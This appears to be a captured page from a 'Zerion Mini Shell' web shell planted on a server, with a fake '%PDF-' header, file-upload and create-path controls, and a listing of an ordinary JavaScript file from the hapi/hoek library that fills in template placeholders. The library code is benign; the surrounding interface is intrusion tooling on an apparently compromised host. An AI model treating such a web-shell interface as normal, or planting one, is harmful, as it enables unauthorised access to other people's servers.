%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/workflow/node_modules/@hapi/hoek/lib/
Upload File :
Create Path :
Current File : /home/opti/workflow/node_modules/@hapi/hoek/lib/reachTemplate.js

'use strict';

const Reach = require('./reach');


const internals = {};


module.exports = function (obj, template, options) {

    return template.replace(/{([^}]+)}/g, ($0, chain) => {

        const value = Reach(obj, chain, options);
        return (value === undefined || value === null ? '' : value);
    });
};

Zerion Mini Shell 1.0